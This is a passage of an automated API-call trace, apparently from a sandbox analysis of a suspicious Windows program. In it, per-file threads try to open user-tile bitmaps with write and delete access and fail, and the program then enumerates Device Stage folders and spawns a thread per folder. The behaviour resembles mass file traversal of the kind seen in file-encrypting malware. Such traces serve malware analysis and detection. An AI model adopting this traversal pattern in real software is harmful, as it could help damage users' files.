BaseAddress=0x1ce11a20) returned 1 Thread: id = 1009 os_tid = 0x1658 [0106.295] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile18.bmp")) returned 0x20 [0106.295] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp", dwFileAttributes=0x20) returned 0 [0106.295] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.297] GetLastError () returned 0x5 [0106.297] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp", dwFileAttributes=0x20) returned 0 [0106.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11970) returned 1 Thread: id = 1010 os_tid = 0x1654 [0106.299] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile17.bmp")) returned 0x20 [0106.300] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp", dwFileAttributes=0x20) returned 0 [0106.300] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.300] GetLastError () returned 0x5 [0106.300] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp", dwFileAttributes=0x20) returned 0 [0106.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce118c0) returned 1 Thread: id = 1011 os_tid = 0x168c [0109.314] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile31.bmp")) returned 0x20 [0109.315] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp", dwFileAttributes=0x20) returned 0 [0109.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.316] GetLastError () returned 0x5 [0109.316] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp", dwFileAttributes=0x20) returned 0 [0109.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12260) returned 1 Thread: id = 1012 os_tid = 0x1688 [0109.318] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile30.bmp")) returned 0x20 [0109.318] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp", dwFileAttributes=0x20) returned 0 [0109.318] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.318] GetLastError () returned 0x5 [0109.318] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp", dwFileAttributes=0x20) returned 0 [0109.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce121b0) returned 1 Thread: id = 1013 os_tid = 0x1684 [0109.321] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile29.bmp")) returned 0x20 [0109.322] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp", dwFileAttributes=0x20) returned 0 [0109.322] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.323] GetLastError () returned 0x5 [0109.323] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp", dwFileAttributes=0x20) returned 0 [0109.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12100) returned 1 Thread: id = 1014 os_tid = 0x1680 [0109.324] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile28.bmp")) returned 0x20 [0109.325] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp", dwFileAttributes=0x20) returned 0 [0109.325] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.325] GetLastError () returned 0x5 [0109.325] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp", dwFileAttributes=0x20) returned 0 [0109.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12050) returned 1 Thread: id = 1015 os_tid = 0x167c [0109.328] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile27.bmp")) returned 0x20 [0109.329] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp", dwFileAttributes=0x20) returned 0 [0109.329] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.329] GetLastError () returned 0x5 [0109.329] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp", dwFileAttributes=0x20) returned 0 [0109.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11fa0) returned 1 Thread: id = 1016 os_tid = 0x1678 [0109.332] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile26.bmp")) returned 0x20 [0109.332] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp", dwFileAttributes=0x20) returned 0 [0109.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.333] GetLastError () returned 0x5 [0109.333] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp", dwFileAttributes=0x20) returned 0 [0109.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11ef0) returned 1 Thread: id = 1017 os_tid = 0x1674 [0109.336] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile25.bmp")) returned 0x20 [0109.337] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp", dwFileAttributes=0x20) returned 0 [0109.337] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.337] GetLastError () returned 0x5 [0109.337] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp", dwFileAttributes=0x20) returned 0 [0109.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11e40) returned 1 Thread: id = 1018 os_tid = 0x1690 [0110.156] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile32.bmp")) returned 0x20 [0110.157] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp", dwFileAttributes=0x20) returned 0 [0110.157] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.157] GetLastError () returned 0x5 [0110.157] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp", dwFileAttributes=0x20) returned 0 [0110.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12310) returned 1 Thread: id = 1019 os_tid = 0x1694 [0110.164] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile33.bmp")) returned 0x20 [0110.165] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp", dwFileAttributes=0x20) returned 0 [0110.165] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.165] GetLastError () returned 0x5 [0110.165] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp", dwFileAttributes=0x20) returned 0 [0110.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce123c0) returned 1 Thread: id = 1020 os_tid = 0x1698 [0110.169] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile34.bmp")) returned 0x20 [0110.171] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp", dwFileAttributes=0x20) returned 0 [0110.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.171] GetLastError () returned 0x5 [0110.171] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp", dwFileAttributes=0x20) returned 0 [0110.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12470) returned 1 Thread: id = 1021 os_tid = 0x169c [0110.175] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile35.bmp")) returned 0x20 [0110.183] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp", dwFileAttributes=0x20) returned 0 [0110.183] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.183] GetLastError () returned 0x5 [0110.184] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp", dwFileAttributes=0x20) returned 0 [0110.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12520) returned 1 Thread: id = 1022 os_tid = 0x16a0 [0110.187] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile36.bmp")) returned 0x20 [0110.187] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp", dwFileAttributes=0x20) returned 0 [0110.187] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.187] GetLastError () returned 0x5 [0110.187] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp", dwFileAttributes=0x20) returned 0 [0110.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce125d0) returned 1 Thread: id = 1023 os_tid = 0x16a4 [0110.194] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile37.bmp")) returned 0x20 [0110.194] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp", dwFileAttributes=0x20) returned 0 [0110.194] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.194] GetLastError () returned 0x5 [0110.194] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp", dwFileAttributes=0x20) returned 0 [0110.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12680) returned 1 Thread: id = 1024 os_tid = 0x16a8 [0110.198] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile38.bmp")) returned 0x20 [0110.199] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp", dwFileAttributes=0x20) returned 0 [0110.199] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.199] GetLastError () returned 0x5 [0110.199] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp", dwFileAttributes=0x20) returned 0 [0110.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12730) returned 1 Thread: id = 1025 os_tid = 0x16ac [0110.203] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile39.bmp")) returned 0x20 [0110.203] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp", dwFileAttributes=0x20) returned 0 [0110.203] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.203] GetLastError () returned 0x5 [0110.203] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp", dwFileAttributes=0x20) returned 0 [0110.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce127e0) returned 1 Thread: id = 1026 os_tid = 0x16b0 [0110.211] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile40.bmp")) returned 0x20 [0110.211] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp", dwFileAttributes=0x20) returned 0 [0110.212] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.212] GetLastError () returned 0x5 [0110.212] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp", dwFileAttributes=0x20) returned 0 [0110.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd640b0) returned 1 Thread: id = 1027 os_tid = 0x16b4 [0110.219] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile41.bmp")) returned 0x20 [0110.255] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp", dwFileAttributes=0x20) returned 0 [0110.255] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.256] GetLastError () returned 0x5 [0110.256] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp", dwFileAttributes=0x20) returned 0 [0110.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64160) returned 1 Thread: id = 1028 os_tid = 0x16dc [0110.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1ced94e0 [0110.259] wcscpy (in: _Dest=0x1ced94e0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0110.259] wcscat (in: _Dest=0x1ced94e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\" [0110.259] wcscat (in: _Dest=0x1ced94e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*" [0110.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0110.259] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cb50 [0110.261] wcscmp (_String1=".", _String2=".") returned 0 [0110.262] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.262] wcscmp (_String1="..", _String2=".") returned 1 [0110.262] wcscmp (_String1="..", _String2="..") returned 0 [0110.262] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0110.262] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2=".") returned 1 [0110.262] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2="..") returned 1 [0110.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64160 [0110.262] wcscpy (in: _Dest=0x1cd64160, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0110.262] wcscat (in: _Dest=0x1cd64160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\" [0110.262] wcscat (in: _Dest=0x1cd64160, _Source="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0120.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd64160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278 [0120.434] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0120.434] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2=".") returned 1 [0120.434] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2="..") returned 1 [0120.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ade40 [0120.435] wcscpy (in: _Dest=0x202ade40, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0120.435] wcscat (in: _Dest=0x202ade40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\" [0120.435] wcscat (in: _Dest=0x202ade40, _Source="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0120.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202ade40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274 [0120.436] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0120.436] FindClose (in: hFindFile=0x1cd9cb50 | out: hFindFile=0x1cd9cb50) returned 1 [0120.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0120.437] RtlFreeHeap 